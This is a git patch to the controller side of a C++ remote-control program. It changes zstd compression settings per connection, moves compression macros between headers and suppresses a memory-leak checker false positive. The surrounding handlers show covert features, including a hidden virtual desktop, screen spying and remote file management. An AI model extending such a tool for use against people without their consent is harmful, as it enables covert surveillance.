From 3f94505aaf3bafbf25822e6e8a0dca294657a4a4 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 15 Jan 2026 19:05:12 +0100 Subject: [PATCH] Improve: Change zstd compression options for some dialog --- server/2015Remote/2015RemoteDlg.cpp | 4 +++ server/2015Remote/FileManagerDlg.cpp | 11 +++++++- server/2015Remote/IOCPServer.cpp | 4 +-- server/2015Remote/IOCPServer.h | 17 ------------ server/2015Remote/Server.h | 40 ++++++++++++++++++++++++++++ server/2015Remote/stdafx.h | 3 +++ 6 files changed, 59 insertions(+), 20 deletions(-) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 0450020..c7309bf 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2614,11 +2614,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) break; } case TOKEN_DRIVE_LIST_PLUGIN: { // 文件管理【x】 + ContextObject->EnableZstdContext(6); g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject); break; } case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】 ContextObject->SetNoDelay(TRUE); + ContextObject->EnableZstdContext(-1); g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject); break; } @@ -2644,10 +2646,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) } case TOKEN_BITMAPINFO: { // 远程桌面【x】 ContextObject->SetNoDelay(TRUE); + ContextObject->EnableZstdContext(-1); g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); break; } case TOKEN_DRIVE_LIST: { // 文件管理【x】 + ContextObject->EnableZstdContext(6); g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject); break; } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index dd5d913..1b8c00f 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -140,7 +140,7 @@ END_MESSAGE_MAP() // CFileManagerDlg message handlers -int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) +int GetIconIndex_(LPCTSTR lpFileName, DWORD dwFileAttributes) { SHFILEINFO sfi = {}; if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) @@ -160,6 +160,15 @@ int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) return sfi.iIcon; } +int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) +{ + VLDGlobalDisable(); + // 代码中排除: Windows.Storage.dll 内部缓存,不是代码泄漏,是误报。 + int index = GetIconIndex_(lpFileName, dwFileAttributes); + VLDGlobalEnable(); + return index; +} + BOOL CFileManagerDlg::OnInitDialog() { CDialog::OnInitDialog(); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 86d44d3..1c126dd 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -551,7 +551,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr ContextObject->Encode(szBuffer, ulOriginalLength); if (!m_Cctx) ContextObject->Encode(szBuffer, ulOriginalLength, usingZstd); size_t iRet = usingZstd ? - Mcompress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength): + Mcompress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength, ContextObject->GetZstdLevel()): compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength); if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet)) { @@ -575,7 +575,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) { - if (WriteContextData(ContextObject, szBuffer, ulOriginalLength)) { + if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) { OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol); if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败 diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 69fa1b7..2aa4695 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -30,23 +30,6 @@ inline int z_uncompress(z_stream* strm, Bytef* dest, uLongf* destLen, const Byte return ret; } -// ZSTD -#include "zstd/zstd.h" -#ifdef _WIN64 -#pragma comment(lib, "zstd/zstd_x64.lib") -#else -#pragma comment(lib, "zstd/zstd.lib") -#endif -#define C_FAILED(p) ZSTD_isError(p) -#define C_SUCCESS(p) (!C_FAILED(p)) -#define ZSTD_CLEVEL 5 - -#define Mcompress(dest, destLen, source, sourceLen) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\ - ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT) - -#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\ - ZSTD_decompress(dest, *(destLen), source, sourceLen) - class IOCPServer : public Server { protected: diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 7321702..b7d0e42 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -16,6 +16,22 @@ std::string GetPeerName(SOCKET sock); std::string GetRemoteIP(SOCKET sock); +// ZSTD +#include "zstd/zstd.h" +#ifdef _WIN64 +#pragma comment(lib, "zstd/zstd_x64.lib") +#else +#pragma comment(lib, "zstd/zstd.lib") +#endif +#define C_FAILED(p) ZSTD_isError(p) +#define C_SUCCESS(p) (!C_FAILED(p)) + +#define Mcompress(dest, destLen, source, sourceLen, level) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\ + ZSTD_compress(dest, *(destLen), source, sourceLen, level) + +#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\ + ZSTD_decompress(dest, *(destLen), source, sourceLen) + enum { ONLINELIST_IP = 0, // IP的列顺序 ONLINELIST_ADDR, // 地址 @@ -364,6 +380,10 @@ public: FreeDecompressBuffer(); FreeCompressBuffer(); FreeSendCompressBuffer(); + if (Zcctx) { + ZSTD_freeCCtx(Zcctx); + Zcctx = nullptr; + } } CString sClientInfo[ONLINELIST_MAX]; CString additonalInfo[RES_MAX]; @@ -398,7 +418,27 @@ public: // 预分配的发送压缩缓冲区(发送时压缩后) PBYTE SendCompressBuffer = nullptr; ULONG SendCompressBufferSize = 0; + int CompressLevel = ZSTD_CLEVEL_DEFAULT; + ZSTD_CCtx* Zcctx = nullptr; + void EnableZstdContext(int level = ZSTD_CLEVEL_DEFAULT) { + CAutoCLock L(SendLock); + CompressLevel = level; + if (Zcctx == nullptr) { + Zcctx = ZSTD_createCCtx(); + ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level); + } + } + void SetCompressionLevel(int level) { + CAutoCLock L(SendLock); + CompressLevel = level; + if (Zcctx) { + ZSTD_CCtx_setParameter(Zcctx, ZSTD_c_compressionLevel, level); + } + } + int GetZstdLevel() const { + return CompressLevel; + } // 获取或分配解压缩缓冲区 PBYTE GetDecompressBuffer(ULONG requiredSize) { diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index eb951f9..7c2272c 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -35,6 +35,9 @@ #ifndef VLD_RPTHOOK_REMOVE #error 检测内存泄漏,需安装VLD;否则请注释#include "vld.h",或使用Release编译 #endif +#else +#define VLDGlobalDisable() +#define VLDGlobalEnable() #endif #include "targetver.h"